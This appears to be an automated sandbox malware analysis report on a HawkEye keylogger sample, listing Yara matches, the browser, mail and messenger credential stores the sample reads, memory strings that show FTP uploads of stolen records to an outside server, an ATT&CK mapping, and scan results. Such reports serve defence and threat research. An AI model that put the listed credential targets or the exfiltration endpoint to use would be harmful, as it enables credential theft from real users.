Stealing of Sensitive Information:

Yara detected HawkEye Keylogger

Show sources

Source: Yara match	File source: 12.2.InstallUtil.exe.45fa72.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.InstallUtil.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.InstallUtil.exe.2b5b2a0.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.ypBoHI5G3x.exe.41a1cf2.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.ypBoHI5G3x.exe.419b8ea.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.InstallUtil.exe.408208.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.ypBoHI5G3x.exe.43944ca.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.ypBoHI5G3x.exe.419b8ea.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.ypBoHI5G3x.exe.41a36f7.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.InstallUtil.exe.409c0d.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.ypBoHI5G3x.exe.43944ca.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.ypBoHI5G3x.exe.439c2d7.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.ypBoHI5G3x.exe.439a8d2.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000C.00000002.602473757.0000000002B31000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.455567208.0000000004312000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.599637682.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.455392795.000000000419B000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: ypBoHI5G3x.exe PID: 6504, type: MEMORY
Source: Yara match	File source: Process Memory Space: InstallUtil.exe PID: 6456, type: MEMORY

Yara detected MailPassView

Show sources

Source: Yara match	File source: 12.2.InstallUtil.exe.3b39930.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.InstallUtil.exe.45fa72.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.vbc.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.InstallUtil.exe.3b39930.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.InstallUtil.exe.45fa72.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.InstallUtil.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.vbc.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.ypBoHI5G3x.exe.41a1cf2.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.ypBoHI5G3x.exe.419b8ea.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.InstallUtil.exe.408208.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.ypBoHI5G3x.exe.43944ca.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.ypBoHI5G3x.exe.419b8ea.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.ypBoHI5G3x.exe.41a36f7.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.InstallUtil.exe.409c0d.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.ypBoHI5G3x.exe.43944ca.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.ypBoHI5G3x.exe.439c2d7.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.ypBoHI5G3x.exe.439a8d2.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000013.00000002.491218277.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.455567208.0000000004312000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.599637682.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.606739235.0000000003B31000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.455392795.000000000419B000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: ypBoHI5G3x.exe PID: 6504, type: MEMORY
Source: Yara match	File source: Process Memory Space: vbc.exe PID: 5432, type: MEMORY
Source: Yara match	File source: Process Memory Space: InstallUtil.exe PID: 6456, type: MEMORY

Tries to harvest and steal browser information (history, passwords, etc)

Show sources

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data

Tries to steal Instant Messenger accounts or passwords

Show sources

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe	Key opened: HKEY_CURRENT_USER\Software\Google\Google Talk\Accounts
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\IdentityCRL\Dynamic Salt

Tries to steal Mail credentials (via file access)

Show sources

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe	Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows Live Mail

Tries to steal Mail credentials (via file registry)

Show sources

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe	Code function: strcpy,strcpy,strcpy,strcpy,RegCloseKey, PopPassword
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe	Code function: strcpy,strcpy,strcpy,strcpy,RegCloseKey, SMTPPassword
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe	Code function: ESMTPPassword

Yara detected WebBrowserPassView password recovery tool

Show sources

Source: Yara match	File source: 12.2.InstallUtil.exe.3b39930.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.ypBoHI5G3x.exe.41a36f7.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.InstallUtil.exe.409c0d.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.InstallUtil.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.InstallUtil.exe.3b51b50.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.ypBoHI5G3x.exe.41a1cf2.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.ypBoHI5G3x.exe.419b8ea.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.ypBoHI5G3x.exe.439c2d7.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.2.vbc.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.2.vbc.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.InstallUtil.exe.408208.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.InstallUtil.exe.3b51b50.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.ypBoHI5G3x.exe.43944ca.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.ypBoHI5G3x.exe.419b8ea.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.ypBoHI5G3x.exe.41a36f7.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.InstallUtil.exe.409c0d.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.ypBoHI5G3x.exe.43944ca.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.ypBoHI5G3x.exe.439c2d7.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.ypBoHI5G3x.exe.439a8d2.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000001.00000002.455567208.0000000004312000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.599637682.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000002.493947169.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.606739235.0000000003B31000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.455392795.000000000419B000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: ypBoHI5G3x.exe PID: 6504, type: MEMORY
Source: Yara match	File source: Process Memory Space: vbc.exe PID: 5560, type: MEMORY
Source: Yara match	File source: Process Memory Space: InstallUtil.exe PID: 6456, type: MEMORY

Remote Access Functionality:

Detected HawkEye Rat

Show sources

Source: ypBoHI5G3x.exe, 00000001.00000002.455567208.0000000004312000.00000004.00000001.sdmp	String found in binary or memory: \pidloc.txt!HawkEyeKeylogger
Source: ypBoHI5G3x.exe, 00000001.00000002.455567208.0000000004312000.00000004.00000001.sdmp	String found in binary or memory: Installed Firewall: MHawkEye_Keylogger_Execution_Confirmed_.txtUHawkEye Keylogger \| Execution Confirmed \|
Source: ypBoHI5G3x.exe, 00000001.00000002.455567208.0000000004312000.00000004.00000001.sdmp	String found in binary or memory: ==============================================EHawkEye_Keylogger_Stealer_Records_MHawkEye Keylogger \| Stealer Records \|
Source: ypBoHI5G3x.exe, 00000001.00000002.455567208.0000000004312000.00000004.00000001.sdmp	String found in binary or memory: .jpegCHawkEye_Keylogger_Keylog_Records_
Source: InstallUtil.exe, 0000000C.00000002.602473757.0000000002B31000.00000004.00000001.sdmp	String found in binary or memory: HawkEyeKeylogger
Source: InstallUtil.exe, 0000000C.00000002.602473757.0000000002B31000.00000004.00000001.sdmp	String found in binary or memory: l&HawkEye_Keylogger_Execution_Confirmed_
Source: InstallUtil.exe, 0000000C.00000002.602473757.0000000002B31000.00000004.00000001.sdmp	String found in binary or memory: l"HawkEye_Keylogger_Stealer_Records_
Source: InstallUtil.exe, 0000000C.00000002.602869141.0000000002BF3000.00000004.00000001.sdmp	String found in binary or memory: lBHawkEye_Keylogger_Stealer_Records_841618 7.27.2021 11:21:35 AM.txt
Source: InstallUtil.exe, 0000000C.00000002.602869141.0000000002BF3000.00000004.00000001.sdmp	String found in binary or memory: lXftp://ftp.vngpack.com/HawkEye_Keylogger_Stealer_Records_841618 7.27.2021 11:21:35 AM.txt
Source: InstallUtil.exe, 0000000C.00000002.602869141.0000000002BF3000.00000004.00000001.sdmp	String found in binary or memory: ftp://ftp.vngpack.com/HawkEye_Keylogger_Stealer_Records_841618%207.27.2021%2011:21:35%20AM.txt
Source: InstallUtil.exe, 0000000C.00000002.602869141.0000000002BF3000.00000004.00000001.sdmp	String found in binary or memory: l^ftp://ftp.vngpack.com/HawkEye_Keylogger_Stealer_Records_841618%207.27.2021%2011:21:35%20AM.txt
Source: InstallUtil.exe, 0000000C.00000002.602895043.0000000002BFF000.00000004.00000001.sdmp	String found in binary or memory: lBHawkEye_Keylogger_Stealer_Records_841618 7.27.2021 11:21:35 AM.txtP
Source: InstallUtil.exe, 0000000C.00000002.602895043.0000000002BFF000.00000004.00000001.sdmp	String found in binary or memory: lISTOR HawkEye_Keylogger_Stealer_Records_841618 7.27.2021 11:21:35 AM.txt
Source: InstallUtil.exe, 0000000C.00000002.602895043.0000000002BFF000.00000004.00000001.sdmp	String found in binary or memory: STOR HawkEye_Keylogger_Stealer_Records_841618 7.27.2021 11:21:35 AM.txt
Source: InstallUtil.exe, 0000000C.00000002.599637682.0000000000402000.00000040.00000001.sdmp	String found in binary or memory: \pidloc.txt!HawkEyeKeylogger
Source: InstallUtil.exe, 0000000C.00000002.599637682.0000000000402000.00000040.00000001.sdmp	String found in binary or memory: Installed Firewall: MHawkEye_Keylogger_Execution_Confirmed_.txtUHawkEye Keylogger \| Execution Confirmed \|
Source: InstallUtil.exe, 0000000C.00000002.599637682.0000000000402000.00000040.00000001.sdmp	String found in binary or memory: ==============================================EHawkEye_Keylogger_Stealer_Records_MHawkEye Keylogger \| Stealer Records \|
Source: InstallUtil.exe, 0000000C.00000002.599637682.0000000000402000.00000040.00000001.sdmp	String found in binary or memory: .jpegCHawkEye_Keylogger_Keylog_Records_

Yara detected HawkEye Keylogger

Show sources

Source: Yara match	File source: 12.2.InstallUtil.exe.45fa72.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.InstallUtil.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.InstallUtil.exe.2b5b2a0.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.ypBoHI5G3x.exe.41a1cf2.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.ypBoHI5G3x.exe.419b8ea.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.InstallUtil.exe.408208.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.ypBoHI5G3x.exe.43944ca.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.ypBoHI5G3x.exe.419b8ea.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.ypBoHI5G3x.exe.41a36f7.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.InstallUtil.exe.409c0d.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.ypBoHI5G3x.exe.43944ca.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.ypBoHI5G3x.exe.439c2d7.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.ypBoHI5G3x.exe.439a8d2.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000C.00000002.602473757.0000000002B31000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.455567208.0000000004312000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.599637682.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.455392795.000000000419B000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: ypBoHI5G3x.exe PID: 6504, type: MEMORY
Source: Yara match	File source: Process Memory Space: InstallUtil.exe PID: 6456, type: MEMORY

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts1	Windows Management Instrumentation1	Application Shimming1	Application Shimming1	Disable or Modify Tools1	OS Credential Dumping1	System Time Discovery1	Replication Through Removable Media1	Archive Collected Data11	Exfiltration Over Alternative Protocol1	Encrypted Channel12	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Replication Through Removable Media1	Native API11	Valid Accounts1	Valid Accounts1	Deobfuscate/Decode Files or Information11	Input Capture1	Peripheral Device Discovery1	Remote Desktop Protocol	Data from Local System1	Exfiltration Over Bluetooth	Non-Standard Port1	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	Shared Modules1	Logon Script (Windows)	Access Token Manipulation1	Obfuscated Files or Information31	Credentials in Registry2	Account Discovery1	SMB/Windows Admin Shares	Email Collection1	Automated Exfiltration	Remote Access Software1	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Process Injection312	Software Packing11	Credentials In Files1	File and Directory Discovery1	Distributed Component Object Model	Input Capture1	Scheduled Transfer	Non-Application Layer Protocol1	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	Masquerading1	LSA Secrets	System Information Discovery18	SSH	Clipboard Data1	Data Transfer Size Limits	Application Layer Protocol12	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	Valid Accounts1	Cached Domain Credentials	Query Registry1	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	Access Token Manipulation1	DCSync	Security Software Discovery31	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	Virtualization/Sandbox Evasion21	Proc Filesystem	Virtualization/Sandbox Evasion21	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue
Exploit Public-Facing Application	PowerShell	At (Linux)	At (Linux)	Process Injection312	/etc/passwd and /etc/shadow	Process Discovery4	Software Deployment Tools	Data Staged	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	Web Protocols	Rogue Cellular Base Station		Data Destruction
Supply Chain Compromise	AppleScript	At (Windows)	At (Windows)	Hidden Files and Directories2	Network Sniffing	Application Window Discovery1	Taint Shared Content	Local Data Staging	Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol	File Transfer Protocols			Data Encrypted for Impact
Compromise Software Dependencies and Development Tools	Windows Command Shell	Cron	Cron	Right-to-Left Override	Input Capture	System Owner/User Discovery1	Replication Through Removable Media	Remote Data Staging	Exfiltration Over Physical Medium	Mail Protocols			Service Stop
Compromise Software Supply Chain	Unix Shell	Launchd	Launchd	Rename System Utilities	Keylogging	Remote System Discovery1	Component Object Model and Distributed COM	Screen Capture	Exfiltration over USB	DNS			Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
ypBoHI5G3x.exe	29%	Virustotal		Browse
ypBoHI5G3x.exe	33%	ReversingLabs	ByteCode-MSIL.Trojan.Phonzy
ypBoHI5G3x.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Temp\InstallUtil.exe	0%	Metadefender		Browse
C:\Users\user\AppData\Local\Temp\InstallUtil.exe	0%	ReversingLabs

Unpacked PE Files

Source	Detection	Scanner	Label	Download
1.2.ypBoHI5G3x.exe.43944ca.8.unpack	100%	Avira	TR/Inject.vcoldi	Download File
12.2.InstallUtil.exe.400000.0.unpack	100%	Avira	TR/AD.MExecute.lzrac	Download File
12.2.InstallUtil.exe.400000.0.unpack	100%	Avira	SPR/Tool.MailPassView.473	Download File
1.2.ypBoHI5G3x.exe.419b8ea.4.unpack	100%	Avira	TR/Inject.vcoldi	Download File
18.2.vbc.exe.400000.0.unpack	100%	Avira	HEUR/AGEN.1125438	Download File

Domains

No Antivirus matches

URLs

Source	Detection	Scanner	Label
http://www.monotype.S	0%	Avira URL Cloud	safe
http://www.founder.com.cn/cn/bThe	0%	URL Reputation	safe
http://www.carterandcone.comva	0%	URL Reputation	safe
http://www.jiyu-kobo.co.jp/Verdk	0%	Avira URL Cloud	safe
http://www.tiro.com	0%	URL Reputation	safe
http://www.fontbureau.comFD	0%	Avira URL Cloud	safe
http://ns.adobe.c/g	0%	URL Reputation	safe
http://www.fontbureau.comessed	0%	URL Reputation	safe
http://www.goodfont.co.kr	0%	URL Reputation	safe
http://www.carterandcone.com	0%	URL Reputation	safe
http://www.carterandcone.comro	0%	Avira URL Cloud	safe
http://www.fontbureau.coml1	0%	URL Reputation	safe
http://www.sajatypeworks.com	0%	URL Reputation	safe
http://ftp.vngpack.com	0%	Avira URL Cloud	safe
http://www.founder.com.cn/cno	0%	URL Reputation	safe
http://www.typography.netD	0%	URL Reputation	safe
http://www.founder.com.cn/cn/cThe	0%	URL Reputation	safe
http://www.galapagosdesign.com/staff/dennis.htm	0%	URL Reputation	safe
http://fontfabrik.com	0%	URL Reputation	safe
http://www.jiyu-kobo.co.jp/6	0%	URL Reputation	safe
http://www.carterandcone.comue	0%	URL Reputation	safe
http://www.carterandcone.com-sM	0%	Avira URL Cloud	safe
http://www.jiyu-kobo.co.jp//	0%	URL Reputation	safe
http://www.fontbureau.comay	0%	Avira URL Cloud	safe
http://www.jiyu-kobo.co.jp/cs-c	0%	Avira URL Cloud	safe
http://www.jiyu-kobo.co.jp/wvR	0%	Avira URL Cloud	safe
http://www.galapagosdesign.com/DPlease	0%	URL Reputation	safe
http://www.jiyu-kobo.co.jp/settR	0%	Avira URL Cloud	safe
http://www.fontbureau.comgrito	0%	URL Reputation	safe
http://www.founder.com.cn/cntra:	0%	Avira URL Cloud	safe
http://www.sandoll.co.kr	0%	URL Reputation	safe
http://www.urwpp.deDPlease	0%	URL Reputation	safe
http://www.zhongyicts.com.cn	0%	URL Reputation	safe
http://www.carterandcone.como.	0%	URL Reputation	safe
http://www.sakkal.com	0%	URL Reputation	safe
http://ns.adobe.c/g%%N	0%	Avira URL Cloud	safe
http://www.fontbureau.comF	0%	URL Reputation	safe
http://www.jiyu-kobo.co.jp/R	0%	URL Reputation	safe
http://www.founder.com.cn/cnomp$	0%	Avira URL Cloud	safe
http://www.jiyu-kobo.co.jp/wuR	0%	Avira URL Cloud	safe
http://www.zhongyicts.com.cnm	0%	Avira URL Cloud	safe
http://www.jiyu-kobo.co.jp/G	0%	URL Reputation	safe
http://www.jiyu-kobo.co.jp/D	0%	URL Reputation	safe
http://www.jiyu-kobo.co.jp/jp/	0%	URL Reputation	safe
http://www.carterandcone.coml	0%	URL Reputation	safe
http://www.carterandcone.com.F	0%	Avira URL Cloud	safe
http://www.founder.com.cn/cn/	0%	URL Reputation	safe
http://www.founder.com.cn/cn	0%	URL Reputation	safe
http://www.fontbureau.comdR	0%	Avira URL Cloud	safe
http://www.founder.com.cn/cnhic	0%	Avira URL Cloud	safe
http://www.carterandcone.comw	0%	Avira URL Cloud	safe
http://www.fontbureau.comm	0%	URL Reputation	safe
http://www.jiyu-kobo.co.jp/	0%	URL Reputation	safe
http://www.fontbureau.como	0%	URL Reputation	safe
http://www.jiyu-kobo.co.jp/adnl	0%	URL Reputation	safe
http://www.carterandcone.comou	0%	Avira URL Cloud	safe
http://www.fontbureau.comitu	0%	URL Reputation	safe
http://www.fontbureau.comu	0%	Avira URL Cloud	safe
http://www.fontbureau.comm(	0%	Avira URL Cloud	safe
http://www.jiyu-kobo.co.jp/c	0%	URL Reputation	safe
http://ns.ado/1	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
www.google.com	142.250.185.196	true	false	high
ftp.vngpack.com	45.141.152.18	true	true	unknown
146.215.12.0.in-addr.arpa	unknown	unknown	false	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://www.fontbureau.com/designersG	InstallUtil.exe, 0000000C.00000002.612022947.0000000006F52000.00000004.00000001.sdmp	false		high
http://www.monotype.S	InstallUtil.exe, 0000000C.00000003.468375972.0000000005D70000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.fontbureau.com/designers/?	InstallUtil.exe, 0000000C.00000002.612022947.0000000006F52000.00000004.00000001.sdmp	false		high
http://www.founder.com.cn/cn/bThe	InstallUtil.exe, 0000000C.00000002.612022947.0000000006F52000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://www.fontbureau.com/designers?	InstallUtil.exe, 0000000C.00000002.612022947.0000000006F52000.00000004.00000001.sdmp	false		high
http://www.carterandcone.comva	InstallUtil.exe, 0000000C.00000003.455801076.0000000005D48000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://www.jiyu-kobo.co.jp/Verdk	InstallUtil.exe, 0000000C.00000003.456756762.0000000005D4A000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.tiro.com	InstallUtil.exe, 0000000C.00000002.612022947.0000000006F52000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://www.fontbureau.com/designers	InstallUtil.exe, 0000000C.00000002.612022947.0000000006F52000.00000004.00000001.sdmp	false		high
http://www.fontbureau.comFD	InstallUtil.exe, 0000000C.00000003.461734038.0000000005D4B000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://ns.adobe.c/g	ypBoHI5G3x.exe, 00000001.00000003.347743311.000000000736F000.00000004.00000001.sdmp, ypBoHI5G3x.exe, 00000001.00000003.446695266.0000000007376000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://www.fontbureau.comessed	InstallUtil.exe, 0000000C.00000003.461734038.0000000005D4B000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://www.goodfont.co.kr	InstallUtil.exe, 0000000C.00000002.612022947.0000000006F52000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://www.carterandcone.com	InstallUtil.exe, 0000000C.00000003.455801076.0000000005D48000.00000004.00000001.sdmp, InstallUtil.exe, 0000000C.00000003.455586589.0000000005D46000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://www.carterandcone.comro	InstallUtil.exe, 0000000C.00000003.455801076.0000000005D48000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://schema.org/WebPage	ypBoHI5G3x.exe, 00000001.00000002.448077774.0000000003167000.00000004.00000001.sdmp	false		high
http://www.fontbureau.coml1	InstallUtil.exe, 0000000C.00000003.470360983.0000000005D4A000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://www.sajatypeworks.com	InstallUtil.exe, 0000000C.00000002.612022947.0000000006F52000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://ftp.vngpack.com	InstallUtil.exe, 0000000C.00000002.602869141.0000000002BF3000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.founder.com.cn/cno	InstallUtil.exe, 0000000C.00000003.454846783.0000000005D46000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://www.typography.netD	InstallUtil.exe, 0000000C.00000002.612022947.0000000006F52000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
https://www.google.com	ypBoHI5G3x.exe, 00000001.00000002.447965365.0000000003121000.00000004.00000001.sdmp	false		high
http://www.founder.com.cn/cn/cThe	InstallUtil.exe, 0000000C.00000002.612022947.0000000006F52000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://www.galapagosdesign.com/staff/dennis.htm	InstallUtil.exe, 0000000C.00000002.612022947.0000000006F52000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://fontfabrik.com	InstallUtil.exe, 0000000C.00000002.612022947.0000000006F52000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://www.jiyu-kobo.co.jp/6	InstallUtil.exe, 0000000C.00000003.456756762.0000000005D4A000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://www.carterandcone.comue	InstallUtil.exe, 0000000C.00000003.455801076.0000000005D48000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://www.carterandcone.com-sM	InstallUtil.exe, 0000000C.00000003.455586589.0000000005D46000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.jiyu-kobo.co.jp//	InstallUtil.exe, 0000000C.00000003.456469435.0000000005D49000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://www.fontbureau.comay	InstallUtil.exe, 0000000C.00000003.461734038.0000000005D4B000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.jiyu-kobo.co.jp/cs-c	InstallUtil.exe, 0000000C.00000003.457320751.0000000005D49000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.jiyu-kobo.co.jp/wvR	InstallUtil.exe, 0000000C.00000003.457780221.0000000005D49000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://whatismyipaddress.com/-	ypBoHI5G3x.exe, 00000001.00000002.455567208.0000000004312000.00000004.00000001.sdmp, InstallUtil.exe, 0000000C.00000002.599637682.0000000000402000.00000040.00000001.sdmp	false		high
http://www.galapagosdesign.com/DPlease	InstallUtil.exe, 0000000C.00000002.612022947.0000000006F52000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://www.jiyu-kobo.co.jp/settR	InstallUtil.exe, 0000000C.00000003.456756762.0000000005D4A000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.fontbureau.comgrito	InstallUtil.exe, 0000000C.00000003.461734038.0000000005D4B000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
https://login.yahoo.com/config/login	vbc.exe	false		high
http://www.fonts.com	InstallUtil.exe, 0000000C.00000002.612022947.0000000006F52000.00000004.00000001.sdmp	false		high
http://www.founder.com.cn/cntra:	InstallUtil.exe, 0000000C.00000003.454846783.0000000005D46000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
